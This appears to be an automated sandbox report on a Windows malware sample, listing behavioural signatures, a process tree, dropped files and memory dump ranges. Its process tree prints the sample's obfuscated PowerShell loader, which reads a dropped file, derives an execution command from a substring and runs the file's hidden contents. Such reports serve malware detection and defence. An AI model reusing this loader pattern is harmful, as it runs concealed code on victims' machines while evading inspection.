Analysis
- max time kernel
149s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
10/08/2026, 17:17
General
- Target d546ccfe65927247618f5db67dfcd6791d705034bb7bf4dc592f5042b09ee04b.exe
- Size 855KB
- Sample260810-vtzphahe29
- SHA256 d546ccfe65927247618f5db67dfcd6791d705034bb7bf4dc592f5042b09ee04b
Malware Config
Signatures
- Badlisted process makes network request 10 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\d546ccfe65927247618f5db67dfcd6791d705034bb7bf4dc592f5042b09ee04b.exe"C:\Users\Admin\AppData\Local\Temp\d546ccfe65927247618f5db67dfcd6791d705034bb7bf4dc592f5042b09ee04b.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle 1 "$Femtenaariges=GC -raw 'C:\Users\Admin\AppData\Roaming\mediatizes\historicocultural\Brasswork\striber.Tun';$Nomadeproblemernes=$Femtenaariges.SubString(53523,3);.$Nomadeproblemernes($Femtenaariges)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Badlisted process makes network request
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
Auxiliaries.Tsn
striber.Tun
memory/5564-46-0x0000000007430000-0x000000000743A000-memory.dmp
memory/5564-48-0x00000000736E0000-0x0000000073E9C000-memory.dmp
memory/5564-23-0x00000000052B0000-0x00000000058FA000-memory.dmp
memory/5564-25-0x0000000005090000-0x00000000050B2000-memory.dmp
memory/5564-27-0x0000000005900000-0x0000000005966000-memory.dmp
memory/5564-26-0x0000000005230000-0x0000000005296000-memory.dmp
memory/5564-30-0x0000000005B60000-0x0000000005EBB000-memory.dmp
memory/5564-31-0x0000000005B20000-0x0000000005B3E000-memory.dmp
memory/5564-32-0x0000000005EE0000-0x0000000005F2C000-memory.dmp
memory/5564-33-0x0000000006E70000-0x0000000006F06000-memory.dmp
memory/5564-34-0x00000000063B0000-0x00000000063CA000-memory.dmp
memory/5564-35-0x0000000006410000-0x0000000006432000-memory.dmp
memory/5564-36-0x0000000007720000-0x0000000007CDA000-memory.dmp
memory/5564-22-0x00000000736E0000-0x0000000073E9C000-memory.dmp
memory/5564-38-0x0000000008360000-0x00000000089DC000-memory.dmp
memory/5564-39-0x00000000072C0000-0x00000000072F6000-memory.dmp
memory/5564-40-0x00000000700A0000-0x00000000700EC000-memory.dmp
memory/5564-47-0x00000000736E0000-0x0000000073E9C000-memory.dmp
memory/5564-44-0x0000000007330000-0x00000000073D3000-memory.dmp
memory/5564-45-0x00000000736E0000-0x0000000073E9C000-memory.dmp
memory/5564-24-0x00000000736E0000-0x0000000073E9C000-memory.dmp
memory/5564-20-0x00000000736F2000-0x00000000736F3000-memory.dmp
memory/5564-43-0x0000000007300000-0x0000000007320000-memory.dmp
memory/5564-49-0x00000000075B0000-0x00000000075C1000-memory.dmp
memory/5564-50-0x00000000075D0000-0x00000000075E0000-memory.dmp
memory/5564-51-0x00000000075E0000-0x00000000075F5000-memory.dmp
memory/5564-52-0x0000000007630000-0x000000000764C000-memory.dmp
memory/5564-53-0x0000000007620000-0x0000000007628000-memory.dmp
memory/5564-54-0x0000000007630000-0x000000000765A000-memory.dmp
memory/5564-55-0x0000000007670000-0x0000000007694000-memory.dmp
memory/5564-56-0x00000000736F2000-0x00000000736F3000-memory.dmp
memory/5564-57-0x00000000736E0000-0x0000000073E9C000-memory.dmp
memory/5564-58-0x00000000736E0000-0x0000000073E9C000-memory.dmp
memory/5564-59-0x00000000736E0000-0x0000000073E9C000-memory.dmp
memory/5564-60-0x00000000736E0000-0x0000000073E9C000-memory.dmp
memory/5564-21-0x0000000002680000-0x00000000026B6000-memory.dmp
memory/5564-62-0x00000000736E0000-0x0000000073E9C000-memory.dmp
memory/5564-63-0x00000000736E0000-0x0000000073E9C000-memory.dmp
memory/5564-64-0x00000000736E0000-0x0000000073E9C000-memory.dmp
memory/5564-66-0x00000000089E0000-0x000000000AEA8000-memory.dmp
memory/5564-67-0x00000000736E0000-0x0000000073E9C000-memory.dmp
memory/5564-68-0x00000000736E0000-0x0000000073E9C000-memory.dmp
memory/5744-72-0x0000000000E00000-0x00000000020E6000-memory.dmp